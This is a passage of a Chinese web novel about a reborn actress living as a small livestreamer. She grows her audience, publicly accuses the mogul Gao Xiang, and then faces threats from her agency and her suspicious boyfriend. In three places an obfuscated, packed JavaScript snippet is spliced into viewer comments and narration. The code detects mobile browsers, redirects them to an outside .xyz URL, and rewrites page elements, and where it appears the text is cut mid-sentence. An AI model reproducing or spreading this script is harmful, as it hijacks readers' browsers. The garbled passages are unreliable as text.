现在她只能希冀还有体力多播一段时间。 她揉了揉太阳穴,打起精神,走进洗手间,准备给自己重新梳妆一番。 她打开下午送来的快递,里面是一叠颇为可爱的贴纸,图案是一个绑着丸子头的圆脸小姑娘练习劈叉。 她双手撑地两脚分开,额头掉下几滴汗珠,但脸上却溢着热情洋溢的温暖笑容。 贴纸不大,正好可以贴在额头一角。 林见微洗了脸,重新上了粉底,然后小心地将一张贴纸撕下,贴在额头一侧。 然后给自己绑了个和贴纸上一模一样的丸子头。 之后她随意涂了些阴影高光,打了点淡色眼影,又抹了点裸色口红。 镜子里的那个人拥有饱满的额头,高挺的鼻梁,流畅的脸型,活脱脱一个美人胚子。 再加上别出心裁的贴纸,可爱的丸子头,还有灵动的眼眸,大劈叉整个人显得活力可爱,朝气十足。 这是她改造自己的第一步:形象管理。 之前的大劈叉总是以毫无记忆点的网红脸示人,美虽美矣,但实在乏善可陈。 现在,林见微打算试验一下活力少女路线,毕竟,谁不喜欢在忙碌了一天后,在镜头里看见一个朝气蓬勃的女孩子对着自己微笑呢。 喷上定妆水,林见微走回平时直播的地方,架好手机,打开直播间。 此时正好是晚上7点。 她打开直播间,点击“开始直播”。 她以为开播时只会有寥寥几人路过,但没想到,昨晚的直播给她带来了流量红利,她刚开播五分钟,就有近50人涌了进来。 评论区也开始不停滚动: [大劈叉你还活着!太好了] [大劈叉,你凑齐小目标了吗???] [大劈叉,你研究出来新剧本了吗] 与此同时,不少人开始丢一些小花花、抱抱你等小礼物。 林见微冲着镜头笑说:“欢迎各位新朋友老朋友!今天的直播,我想给大家来个唱跳之夜。” 说着,她站起身——今天晚上,她上半身穿着紧身的白色运动背心,下半身是白色网球裙裤,脚上一双运动鞋,整个人显得活力四射。 她搬开椅子,对着镜头露出甜美笑容:“今天,咱们用《一路向前》开场热身,大家走过路过不要错过。” 说着,她从抽屉里取出一台看上去至少用了五年的笔记本电脑,调出一个叫做“一路向前”的音乐文件,点击播放。 动感十足的音乐从播放器传了出来,林见微将音量调到最大,然后对着手机屏幕舞动起来。 没有什么能够阻挡我的一路向前 满地泥泞是为了跌倒后爬起来走得更远 大雨瓢泼是为了让明天的彩虹更加鲜艳 我相信努力总会兑现 我相信人生终将迎来雨过晴天 没有什么能够阻挡我的一路向前 山路崎岖是为了登顶时俯视渺小群山 黑夜无边是为了黎明时迎来光芒一片 我相信努力总会兑现 我相信人生终将迎来峰回路转 缘分终将遇见 奇迹总会出现 没有什么能够阻挡我的一路向前 歌曲节奏感十足,歌词也朗朗上口,林见微纵情跳着,内心波澜丛生。 人生的麦田此刻大雨滂沱,但她依然可以带着虔诚的心,希冀雨过天晴,希冀秋天的好收成。 现在或许是她和大劈叉的至暗时刻,但日出残夜,总有一天她会迎着朝霞万里,重新爬回属于自己的巅峰,俯瞰那些被踩在脚下的渺小峰峦。 她越跳越动情,四肢随着音乐舒展自如,到最后完全融进音乐的节奏里。 《一路向前》单曲循环了五遍,她才气喘吁吁停下来,擦了擦额头的汗,看向支架上的手机。 然后,她的瞳孔急剧放大。 有302人观看过。 [天呐我看到了什么宝藏博主,她跳得也太好了叭。] [她好像是专业的诶,你看她ID] [主播姐姐好美丽好可爱啊!星星眼] [她的身材也绝了,全身没一块赘肉,还有那双疑似2米的大长腿!] [她怎么才二百多粉丝啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386754|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,快加关注,让博主以后多发这种福利。] 林见微努力平复呼吸,目不暇接地看着评论一条一条地滚动。 这时,屏幕上突然炸出一个大火箭,霸道地占据满屏,几秒钟后炫目地飞了出去。 穿皮裤的老烟枪为您送上一个“心跳似火箭”! 林见微盯着屏幕,好半晌才反应过来发生了什么,脸上露出讶异惊喜的笑容。 心跳似火箭,价值1千香蕉币,对于她这样的野生小主播来说绝对是一份大礼。 “天呐,谢谢穿皮裤的老烟枪!真心感谢您的支持。” 她真诚地对着镜头鞠了一躬。 穿皮裤的老烟枪发了个叼着烟头的表情:[没事,小意思。] 这个礼物一送,直播间立刻热闹起来,不少人发了“牛”的表情,底下一片“厉害厉害”的评论。 礼物也给直播间带来了更多流量,越来越多人点进来,与此同时又有几个人跟风刷了点小礼物。 林见微的眼眶有些微微湿润,呼吸平复后对着镜头深情说:“真的谢谢大家,谢谢你们的捧场。欢迎大家以后多来我直播间。” “其实我不仅是个唱跳主播,也是聊天主播。” “咱们可以聊到天南地北。” 评论区有人适时问道:[聊聊主播的情感经历吧,嘿嘿] [聊聊主播的身高体重] [主包你多大啊?] 林见微视如不见,问道:“话说,大家对娱乐圈的事情感兴趣吗?” 评论区没什么回应,大家各聊各的,有人夸大劈叉身材火辣,有人求问网球裙裤链接,还有人问下一支舞蹈跳什么。 过了大概一分钟,才跳出一条评论: [娱乐圈?博主知道娱乐圈的事?] 又过了一会儿底下跟评: [她一个十八线小网红,娱乐圈大门都摸不到,怎么可能知道娱乐圈的事?] [为了吸引流量才这么问的吧。] [反正来都来了,博主聊个五块钱的呗。] [嗑瓜子.jpg] 林见微的呼吸变得有些急促,等待的这一刻终于到来。 她瞥了一眼顶端的数据:目前有一百个人在直播间。 不够,还得增加人数,扩大影响力。 她发了个红包,价值1万香蕉币,5分钟后开抢。 开抢条件:关注主播。 “不聊5块钱的,聊个1千块的。”林见微笑眯眯地看着镜头。 果然,资本的力量是庞大的,不到一分钟,直播间里新涌入了五十多个人。 一千块的红包在香蕉平台实属稀有,就算是那些有一掷千金榜一大哥的大主播,平时发个五六百的红包就顶天了。 一千块?实属罕见。 林见微决定加把火,又反手发了个礼物,封面写着:赠歌一首,领取条件:在直播间待满15分钟,并评论1条。 这下直播间更热闹了,账号关注量直往上跳,底下评论区也滚动得快了许多。 不少人表示搬好板凳前排吃瓜,也有许多人轻蔑表示,主播为了博流量真是什么都做得出来。 但嘲讽归嘲讽,身体还是诚实的,路人粉黑粉们都为了领取红包点了关注。 五分钟后,直播间的实时观看人数已经达到七百人。 林见微微笑着看向大家,缓缓道:“谢谢大家捧场,那么,我就要来跟大家聊一聊娱乐圈的事了。” “之所以找大家来,是想给大家爆个料。” “前几天在《风华绝代》首映礼上,网上突然爆出时穆飞和小麋鹿离婚的事情,接下来《桃花烂大街》挤占了《风华绝代》的所有资源,这件事,想必大家都有所耳闻吧?” 评论区跳出一众消息: [你要爆料的就是这件事啊?] [这事地球人都知道] [都说了,肯定是噱头,博流量的] [该说不说,主播颜值确实高啊,骗进来看美女也挺值的] [这么着,这事还有反转?] 望着目不暇接的弹幕,林见微续道:“我想爆料的是,这件事有人在幕后做局。” “时穆飞和小麋鹿是被利用的幌子,实际做局的人姓高名翔,高源资本的实际控制人。” 12.十二 一石激起千层浪,屏幕上迅速滚起评论。 [高翔??著名的高氏资本太子爷,大名鼎鼎的娱乐圈小霸王?] [博主这么说不怕被法院发传票吗?] [小心帽子叔叔上门哦,可能构成诽谤罪] [其实我今天下午刷微博的时候看到相关分析了,说整件事,包括电影筹拍、半路撤资,一切都是高氏资本下的好大一盘棋] [怎么下的棋,说来听听] [留个屁股,前排吃瓜] 林见微收敛笑容,举起三根手指郑重道:“我扬州大劈叉发誓,以下内容都是真的。” “如果有半句假话,那就罚我这辈子都挣不到钱,在穷困潦倒中悲惨死去。” [哟嚯,还挺郑重其事的] [那就提前恭喜你在穷困潦倒中悲惨去世了] [冲你的发誓我就留下听听] 林见微:“大家仔细想一想,这件事一定是提前策划好的——恰好在首映礼结束后的媒体采访中,离婚新闻在网络上爆出,天底下怎么会有这么巧的事?” “这件事是有预谋的,目的是毁掉《风华绝代》和主创的心血。” 评论区不停滚动: [是个人都能看出这是预谋已久的,你能说点新鲜的不] [网上这种分析一搜一大把,你是从哪儿抄的稿子] [策划整件事的人势力很大啊,能操纵媒体还有舆论] [始作俑者会不会就是高翔啊,他有足够的财力和人脉做这事] [难道高翔和风华绝代的导演有仇?不然为什么这么处心积虑地要搞垮他?] 林见微:“你们说的没错,这件事的背后策划者就是高翔。至于他为什么要这么做……” 林见微不得不停顿片刻,因为太多不堪回首的画面在她脑海中闪过。 半晌后她轻轻咬牙道:“因为得不到就想毁掉。” [什么?你的意思是,高源资本想投资风华绝代,结果半路杀出个聚力资本,所以高翔就想毁掉这个电影项目?] [可是高源资本是自愿撤资的啊,理由是不看好电影前景] [听说当时乐盛和高源谈判了三天三夜,最后不欢而散,林见微的经纪人严天寒气得连桌子都砸了] [呵呵,说得没错,我就是当时谈判桌上的一杯咖啡] 林见微摇摇头:“其实都起源于私人恩怨,高翔的投资,从一开始就带着极强的不正当目的性。” “他投资,是为了得到林见微。” “他使劲各种手段,疯狂地死缠烂打,可是林见微不同意和他交往。” “为了得到她,高翔甚至不惜在酒里下药,迫使林见微屈从。” “千般手段使尽,高翔还是没有如愿以偿,所以由爱生恨,抱着得不到就毁掉的心态,煞费苦心炮制了一出戏,故意选择首映礼的关键节点群发给媒体,迫使《风华绝代》遇冷折戟。” “而根据对赌协议,影片半年内票房不达标,林见微就要面临巨额赔偿,所以这件事让林见微负债累累,从此一蹶不振。” “直到现在,她都还在医院躺着,在生死线上苦苦挣扎。” 屏幕上的评论已然爆炸: [这也太劲爆了叭] [啧啧啧,真能编,八卦小报也不敢这么写] [怎么白活了这么半天,老子进来是看跳舞的] [一看就是从各个帖子里提取点劲爆信息然后整合成的,无聊,退了] [诶,大家不觉得,她说的有鼻子有眼的,细节也丰富,好像亲身经历过一样] [当然亲身经历过,就和我是高源和乐盛谈判时桌上的一杯咖啡一样] [换个角度,这个主播口条很清晰啊,讲话也很有逻辑,好像是受过良好教育的] [楼上握爪,我也想说,我爱听大劈叉讲话,接着唠,再唠几块钱的] 林见微:“我说的确实是真的,等下播后,我会把刚刚说的话原封不动地发出来,请大家帮我点点赞,为女孩子伸张正义。” [可真行,还整girls help girls这一套] [为了点流量至于吗,污蔑人家女孩子清白。你怎么知道林见微被强迫过?你是当时桌上那瓶酒?还是高翔兜里的迷药?] [各位清醒一点啊,她又不是林见微,甚至不是圈内人,现在实名爆这么猛的料,维护林的名誉,图什么?] [图什么?流量呗,还能有啥] [各位友友,她不是在给自己发声,是给一个跟她没关的女演员发声,值得鼓励一下] [是啊,她又不是在给自己写小作文,是给她偶像写,精神可嘉,勇气可嘉,顶一下] [你小心高翔半夜敲门□□啊] 评论层出不穷,有维护的,有冷嘲热讽的,还有骑墙看戏的,渐渐地直播间人越聚越多,不知不觉竟然有上千人同时观看。 林见微趁热打铁:“欢迎刚进直播间的朋友们,刚刚爆了个猛料,大家没听到或者没听全的就互相问问。” “下面,我要爆另外一个料。” [有没有好心人告诉我刚刚她爆什么料了?] [同问] [高翔和林见微的料!贼劲爆] [什么??谁和谁??] 林见微将目光从评论区抬起,对着镜头微笑:“爆料到这里就结束了,接下来是劲歌热舞时间!” 林见微欢快从椅子上跳下,转身在电脑上调出“劲”音频文件,摁了播放键。 这个转折有些突然,评论区里还源源不断地滚动着各种讨论高翔的弹幕。 重金属音乐携着有力的鼓点扑面而来,音乐响起的一瞬间,带感的节奏和摇滚的曲风瞬间将人带入灯红酒绿的昏暗迪厅。 再次看向直播间,林见微不知从哪变出一副墨镜,整个人显得又酷又飒。 前奏迅速过完,一个沙哑低沉的男声大力嘶吼出一个字: 劲! 激烈的音乐瞬间燃起,整个场子都被炸起,林见微一改刚刚甜美可爱的女团风,甩出的动作大开大合,力量感十足。 劲爆的音乐响彻整个宇宙 无数的劲酒尽情地嗨 灯光逐渐熄灭和我脚踩节拍 所有人都来大声一起say hi 低沉的rap强劲有力,整段音乐节奏极快,但林见微的动作酷炫带感,没有一点拖沓。 其实,在她前几个动作甩出来的时候,评论区就已经爆炸了。 [妈耶,这舞蹈也太厉害了叭] [我的妈,不吹不虚,这和原版比也不差] [比原版好多了好吗!!原版是男生跳的,在主播跳之前,我从来没想象过,这首曲子女生跳更带劲!!] [这支舞算内娱数一数二难的舞蹈了,多少人尝试模仿都翻车了,但博主跳起来,竟然一点没崩诶!] [天啊,我只是进来听八卦的,没想到看了场限量级演出] [这是什么神仙主播] 一首曲子四分多钟,林见微跳下来大汗淋漓,气喘吁吁,她拿起一旁早就准备好的毛巾,擦了擦汗后才重新做回镜头前。 猛灌几口矿泉水,她这才朝手机屏看去。 爆炸的评论令人目不暇接: [天啊,刚刚怼脸拍的时候好美] [我也想说,而且皮肤状态绝了] [她看上去近乎素颜啊,目测只涂了一层薄薄的打底,妈生好皮] [五官也好看,据说她以前直播的时候滤镜开得很大,现在可能为了跳舞方便关了] [我宣布,请把滤镜永久、彻底、完全关掉!你就是我的新晋素颜女神!] 林见微喝着水,笑眯眯地看着评论区里的彩虹屁。 刚刚那些阴阳怪气的负面评论已经全数不见,整个评论区洋溢着和谐统一的论调: 扬州大劈叉,神颜,神舞技! 林见微看着评论缓了一会儿,气息平复后说道:“谢谢大家的支持,给各位比心心!” 评论区里飘过一片红色爱心,又有不少大佬刷起礼物,满屏特效目不暇接! 林见微:“我还会唱歌,等我休息一下,开奖的时间就差不多到了,咱们看看是哪位幸运观众可以得到赠歌一曲。” [妈耶,她还会唱歌] [这是什么全能主播,我怎么现在才刷到] [大数据,记住了,我喜欢这样的,以后多推!] [小姐姐喜欢唱什么歌啊] [我想听吉他弹唱] 林见微盯着最后一条评论,不好意思地笑道:“评论区提醒我了,唱歌的话只能清唱,没有吉他弹唱。” “但是现在太穷了,没钱买吉他。” [哦!对了她挣的钱都去还债了] [对对对,她之前不是还被高利贷上门催收] [什么正经人会去借高利贷啊?肯定是贪慕虚荣,自作自受] [楼上,说话客气点嘛,小姐姐刚刚都给你跳舞了,口下留情] [话说她欠多少钱啊,要不咱们众筹一下帮帮她?] 评论区开始热烈讨论起她被暴力催债的事情,许多新来的人纷纷表示大开眼界。 面对无数不同的声音,林见微只是简单表示:“大家不用担心,一切都会解决的。” 休息了一小段时间,开奖的时间到了,得益于刚刚的流量,竞争十分激烈,奖池里挤进来八百多人。 大多数人都抱着好奇心理随便点一点,所以一千多人的直播间里大部分都参与了抽奖。 开奖后,屏幕上写着:恭喜穿皮裤的老烟枪中奖!撒花! 评论区里一片羡慕:[哇哦大佬中奖了] [如果没记错的话,烟枪大佬是第一位给小姐姐刷礼物的] [我记得那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389411|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火箭,大佬威武霸气!] 林见微觉得这个结果还蛮巧合的,但也合理,毕竟穿皮裤的老烟枪是第一个信任她,不吝给予她鼓励的人。 她笑眯眯地看着镜头,呼唤这位好心人:“烟枪哥哥,你在直播间吗?” 评论区里也一连串地呼唤他。 过了几秒钟,穿皮裤的老烟枪出现在了评论区:[在,点一首《忘了我吧》] 林见微十分惊喜,她的嗓音条件并不突出,高音唱不上去,低音下不下来,她其实是硬着头皮说要唱歌的。 但这首《忘了我吧》是一首经典老歌,音域适中,演唱难度低,歌词朗朗上口,旋律也非常好听,非常适合她这种半吊子。 她的眼睛亮了起来,灿烂地笑道:“好,就唱这首。” 熟悉的旋律响起,评论区不少人激动不已,这首歌虽然经典,但很多人已经渐渐淡忘: 忘了我吧 就当我从未来过这个世界 黄昏的光温暖铺洒在阳台 我看着远处的花儿开了又谢 忘了我吧 就当我已经去了另外一个世界 清晨的风轻轻拂动着面颊 我挥着衣袖告别往日的热烈 旋律低沉绵长,如同一杯酿了多年的醇厚老酒,配上林见微低而轻的嗓音,一切都浑然天成。 她投入了真情实感,所以表演显得格外真诚。 评论区里再次涌起如潮好评: [真诚发问,这样宝藏的博主为什么不火???] [顶起来,我要让全世界都认识大劈叉] [快加关注,今天在场的各位都是原始股东] 林见微唱完这首歌,干脆又承兴唱了几首类似的老歌,每一首都没太大难度,但又令人回味无穷。 观看人数持续激增,待林见微唱完最后一首时,直播间累计观看人数高达五千,目前在线活跃的有近两千人。 林见微切出去看了一眼自己的粉丝数—— 虽然心里有所准备,但她还是被眼前的数字惊住了。 直到两天前,她还只有十几个粉丝。 但现在,那个地方明晃晃写着:0.5k。 林见微揉了揉眼睛,过了好久才渐渐接受这个令人振奋的事实。 她,林见微,扬州大劈叉,就这样在短短几天内,从一无所有到涨粉50倍。 这说明,她可以的,林见微的实力和韧劲,加上大劈叉的美貌和人设,可以带她走向更远的地方。 假以时日,她可以重回巅峰。 她要拿回那些原本就属于她的东西。 虽然今晚打算多播一会儿,但唱歌跳舞实在太过耗费精力,林见微很快就饿得头发晕。 看看表,时间已经到了晚上九点半,许多人表示已经连续看了两个小时,要去休息一下。 还有些人说要挂机,听着林见微的声音做些别的事情。 林见微摸了摸饥肠辘辘的肚子,想了想对着镜头说:“好久没直播唱歌跳舞了,没估量到这些事这么耗能量。” “家人们,我今晚可能要早点下播了,大家见谅,大家没点关注的点一下关注吧,以后直播不迷路。” 评论区里一片哀嚎,大家纷纷挽留大劈叉,希望她再播一会儿。 粉丝数又往上涨了一些,林见微关摄像头前,主页显示她已经坐拥0.55k的粉丝。 她不舍地对着镜头挥手:“实在对不住,大家早点休息哦,下次的直播时间看我主页提醒。” 说完,她在一片挽留声中切出了直播。 望着屏幕上那行“您已结束本场直播,快去看看本场数据吧”,林见微突然感慨万千。 上一次看自己的数据,一切还惨不忍睹。 但这一次,一切都有了质的突破。 事实证明,天道酬勤,功夫不负有心人。 下播后她点了份外卖,慢慢吃完后将近午夜。 夜深人静时,她重新坐回电脑前,编辑了一篇文案。 高翔,我在这里向你宣战 屎一样的名声,这些年糟蹋了多少清白 周一到周日,像一只苍蝇一样,每天都骚扰不同的女孩子 日日笙歌,夜夜红帐 晚上到早晨,昏天到黑地 七年的荒唐事,但你总能全身而退 点点星星,那些沾血的床单,你一次又一次将这些罪行销毁殆尽 面上带着笑,手里藏着刀 谈笑间直刺心脏 我今日要站出来,为所有受过欺负的女孩子发声 有朝一日,我会让你罪有应得 视力所及,我要让你再无净土 频道为你而设,你不倒下,我永不闭嘴 编辑完发在主页,很快就有人发现了玄机。 这时一片藏头帖。 高屎,周日晚七点面谈,我有视频。 13.十三 第二天醒来的时候是早上九点多,虽然只睡了五个多小时,林见微睁开眼的时候却瞬间清醒。 今天是一个重要的日子。 今天是周日,她向高翔宣战的日子。 要么直上青云,要么坠入深渊,一切都要在今日见分晓。 她拿起手机,点开锁屏的时候吓了一跳。 满屏都是密密麻麻的未读消息,还有几个未接来电和语音信息。 林见微腾地一下从床上坐起。 最下面的是麦乐鸡、郝施、钱雯的微信消息,未接来电都是陌生号码,香蕉直播也给她发了消息。 她首先打开语音信箱,刚点开第一条,一个粗犷的男声传了出来: 你是扬州大劈叉吧,我警告你,你已经得罪了不该得罪的人,给你一天时间马上公开道歉,否则,我们不会放过你。 林见微又点开第二条,这次是一个温柔女声: 您好,请问是扬州大劈叉女士吗?我们这边是程氏律师事务所,十分擅长处理性|骚|扰案件,并成功多次地维护受害者权益,如果您有合作的意向,请回电139xxxxxxxx。 点开第三条,也是最后一条,一个低沉冷静的男声缓缓说道: 你是韦盏吧,我们这边是高源资本,今天白天想和您当面谈谈,下午1点请准时来高源大厦31楼,不见不散。 听完这一条,林见微后背起了一身冷汗:高家果然手眼通天,神通广大,不仅连夜查出了她的真实姓名,而且清楚知道她住在京南市。 高源大厦就在京南市,是高源资本的总部,对方没有特意说明大厦所在的城市,并默认她可以在当天下午1点赶过去,说明他们清楚地知道她住的城市。 她不禁暗暗为自己捏了把冷汗:这一次,她又是以卵击石吗? 下床走进洗手间,她打开水龙头,往脸上拍了一把凉水,试图让自己更清醒一下。 抬起头,她望着镜子里那个满脸水迹的自己,那张脸是那么陌生,但眼神是那么熟悉—— 那双黑眸里写满了坚毅果敢和无所畏惧,一如当年从泥泞中一路摸爬滚打的林见微。 上一次,她输得一败涂地,事业尽毁,而且丢了半条命。 这一次,她无论如何都要再搏一把,她就不信,这个世界不能让好人赢一次。 简单洗漱后,林见微回到床上,翻看起其他消息。 刚点开香蕉直播,几簇烟花在屏幕上欢欢喜喜地炸开,紧接着一条系统消息弹了出来: 恭喜你粉丝数达到一千人!获得勋章:小有成就 再接再厉! 绚烂的烟花在屏幕上绽放了几秒钟,林见微晃神半晌才意识到,这意味着昨晚她下播后,粉丝数又翻倍了。 啧啧,她真厉害。 林见微点进私信。 她盯着私信图标上那个标着99+的红色圆圈,揉了揉眼睛。 看来昨夜私信爆炸了。 系统贴心地帮她做了初步筛选,来自管理员的消息被置顶。 [扬州大劈叉,恭喜您粉丝数过千!我是管理员小花猫喵喵喵,现在需要拉您进入我们的潜力新人博主群] [方便的时候发一下您的微信号,我这边把您拉进去] 林见微切进微信,暂时忽略掉同样爆满的未读信息,找到微信账号复制过去,对面秒回: [谢谢亲!我这就去添加好友,请通过一下验证哦] 很快,微信跳出一条新消息:小花猫喵喵喵请求添加您为好友。 林见微认证通过后,很快被小花猫喵喵喵拉进了一个叫做“潜力新人主播6群(493)”的微信群聊里。 [扬州大劈叉加入群聊] 小花猫喵喵喵:[欢迎扬州大劈叉加入我们6群大家庭!] 几乎是一瞬间,许多条信息同时出现在屏幕上: [扬州大劈叉!!??天呐我不敢相信我的眼睛] [是那位传奇主播吗,一晚上粉丝量从十几激增到一千多??] [欢迎欢迎,热烈欢迎!] [唱跳全能女神请收下我的膝盖,以后多多关照!] [激动!欢迎大劈叉老师加入我们大家庭,发个红包表示一下~] [大劈叉老师能不能悄悄给我们透露一下关于高翔的料啊] 群里的热情溢出屏幕,望着一个接一个的欢迎消息,林见微惊喜而感动,回道: [谢谢各位宝贝!以后多多关照][爱心] 小花猫喵喵喵:[群文件里面有一些关于直播的tips,群公告里面有一些重要注意事项,大劈叉老师有空的时候记得浏览哈] 林见微:[嗯嗯,一定!] 退出群聊后,她往下翻微信的历史消息,大部分都是八百年不联系的人发来恭喜,中间夹着麦乐鸡、郝施和钱雯的消息。 郝施和钱雯只是泛泛地道贺,恭喜她粉丝数破千,以及创造了直播史上的神话,还说上次聚会不欢而散,是她们没顾及她的感受,约着下次再见。 麦乐鸡的消息则十分简洁: [大劈叉,醒了之后给我打个电话] 哟呵,架子还挺大。 那就打一个,看看她有什么事。 大劈叉拨通微信电话,响了没两声麦乐鸡就接了起来: “大劈叉,你昨晚火爆了我们直播圈你知道吗。” 虽然是个疑问句,但麦乐鸡的语调向下,语气明显带着不高兴。 林见微微微一笑:“不好意思,我做到了你们一直想做但没做到的事。” 麦乐鸡明显压着怒火,声音低沉:“大劈叉,咱俩之间的过节先放一放,公司高层看了你的直播还有帖子之后联系我,传达了两个意思。” “第一,直播方面,公司让我重点培养你,说你很有潜力,领导这周要约你吃饭,跟你谈谈下一步的发展规划。” “第二,你必须立刻把帖子删掉,发布对高翔先生的道歉声明,并在直播间里做出解释。” 删帖?没门。 她重活一次,如果没能做完上一世没能做到的事情,那还有什么意思。 林见微不留余地:“第二条我不接受。” 麦乐鸡冷笑一声:“大劈叉,我提醒你,你入行之后经常擅自违反合同规定,公司如果较真起来,你吃不了兜着走!” “合同要求你每天直播不少于十二小时,你哪一天做到了?你知不知道如果按违约处理,你要赔多少钱?” “合同还规定你必须使用公司推荐的话术,在直播里对观众尤其是男性观众的要求做出合理回应,如果遭到投诉也按照违约处理。” “我粗粗给你算一下,你入行之后打破这些规矩的次数加起来,足以让公司追责你一千万。” 林见微见招拆招:“直播十二小时本来就不合理,违反了中华人民共和国劳动法第三十六条的规定,属于霸王条款。” “公司推荐的话术都是对男人的撩|骚情话,违反了我的人格,我有权利不遵循。” “而且,是你一开始告诉我的,公司规定是灵活的,只要每天坚持直播就行,不用太较真。” 最后一条是林见微翻看大劈叉和麦乐鸡的聊天记录发现的,两年前大劈叉刚入行时,曾对合同的严苛规定提出质疑,当时麦乐鸡拍着胸脯保证,不用太在意合同规定,只要每天按时直播就行。 很明显,大劈叉不懂法没社会经验,被麦乐鸡骗得团团转。 麦乐鸡冷笑道:“大劈叉,这些要求真的那么过分吗?你我就是吃这碗饭的,你在这里装什么纯洁圣女?” “俗话说笑贫不笑娼,公司规定这些,也是为了让你有更好的发展前途。” “你要是能规规矩矩遵守,早就红了,哪至于混到今天还蜗在你那个20多平米的老破小里!” “我告诉你,”麦乐鸡下了最后通牒,“你的合同握在公司手里,里面的惩罚条款如果生效的话,足以让你这辈子不好过。” “公司不仅会追究你法律责任,要你赔付巨款,而且还会限制你的流量,一点资源都不分给你。” “如果你今天晚上12点前不删掉帖子并且发布道歉声明,公司会采取强制惩罚措施。” 说完,麦乐鸡干脆地挂断电话。 林见微呵呵冷笑两声,盯着电话看了半晌,轻叹一声站起身来。 她走到桌子前拉开抽屉,从里面拿出一叠文件。 那是她找到的大劈叉和公司签约的合同。 这个合同随便一眼扫过去就能看到不下三条霸王条款,也不知道大劈叉当年怎么会签下这样一份合约。 只要这份合同还有效力,就拴住了大劈叉一辈子的自由,她得每天睁开眼就开始给公司吭哧打工,每天上工12小时,周而复始,直到噶屁。 太他妈黑了。 她一页一页翻过合同,拍下照片,确认每张都清晰后,又用修图软件涂抹了身份证信息。 做完这之后,她打开手机,刚刚过去的半小时内,又涌进了许多新的未读消息和未接来电。 但其中没有一条是来自陈怀顾的。 她点开两人的微信聊天记录,对话还停留在昨天下午她发出的那条: [宝贝,今天对不起,一切都是我不好,你消消气,原谅我的不懂事好吗?][可怜][哭哭] 凭她对陈怀顾的了解,他到现在还没回消息,很可能是因为昨晚的直播。 他不喜欢锋芒毕露的女生,而昨天晚上,她太过闪耀。 而且,直播里充满了太多说不通的内容,比如,她为什么要为现男友的前女友,自己的情敌林见微发声。 比如,她一个一百零八线小主播为什么揪着娱乐圈太子爷高翔不放。 她想了想,还是拨通了陈怀顾的电话。 他很快接了起来,就好像很早就在等着林见微给他打过去,向他解释一切。 林见微尽量将语气放得温软,就如平时那个低眉顺眼的大劈叉一样:“宝贝,在忙吗?” 陈怀顾语气淡而冷:“你解释一下吧。” 林见微稍稍语塞,他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395946|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说要她解释什么。 停顿片刻她犹豫道:“昨天下午在车里的时候,是我脾气不好,我错了,你原谅我好吗?” 陈怀顾语气仍旧冰冷:“还有呢?” 林见微:“……我昨晚直播的时候不应该提到你前女友的,对不起,我,我就是想流量想疯了。” 陈怀顾:“还有呢?” 林见微:“……我……我也不应该提到高翔。我是听麦乐鸡她们闲聊八怪的时候提起这些事的,感觉很劲爆,就用在了直播里。” 电话那头片刻没有声响,然后陈怀顾似乎叹了口气,缓缓道:“我感觉你和过去不一样了。” 林见微急忙道:“我是和过去不一样了,过去的我天真单纯,但愚蠢不懂事,只想着每天享受生活。” “之前我不知道奋斗的艰辛,更不知道我的宝贝对我的好。” 陈怀顾明显有些意外:“什么?” 眼下的局面很关键,她得尽全力稳住陈怀顾,打消他的疑虑。 毕竟,羊毛还没薅完呢,她还没把陈怀顾吃干榨尽。 在收网之前,她得让他心甘情愿地为她所用。 林见微火力加满:“宝贝,我以前太不懂得为你分担了,你跟我说过娱乐圈水很深,做艺人压力很大,我从来都没想过自己能为你分担什么,只抱怨你时间少不陪我,抱怨你宁愿去医院看那个植物人,也不来我这里。” “但昨天我想明白了,如果我能把林见微塑造成男权和资本的受害者,这样宝贝你去医院被狗仔拍到,公众形象就会变得光辉伟大。” “林见微对赌失败坠楼的消息是现在最火的娱乐八卦,我抓住这个时机,让自己的事业有点起色,这样……” 林见微犹豫一下,然后用极其小心和卑微的口吻说:“这样,将来人家就不会说,我配不上你。” 陈怀顾没料到她是这么想的,口气一下子软下来,心疼道:“宝宝你怎么突然这么懂事?而且,谁说你跟我不般配,谁敢这么讲?” 林见微痛心疾首道:“本来就是这样,你是高高在上的知名男星,前途一片璀璨,而我,我只是十八线女主播,平时靠博出位和撩|骚男人为生。” 陈怀顾忙说:“不要再这样贬低自己了,你是我喜欢的类型,我就喜欢这样的你。” 林见微似乎红了眼眶,发出的声音带着小心翼翼,微微颤抖:“宝贝,我真的好感谢你,你一直这么照顾我,可我昨天还朝你吼,所以后来我越想越难过,恨不得扇我两巴掌。” 陈怀顾:“别,千万别把那张漂亮脸蛋扇坏了,你在家吗,我现在过去接你,咱们出去吃饭。” 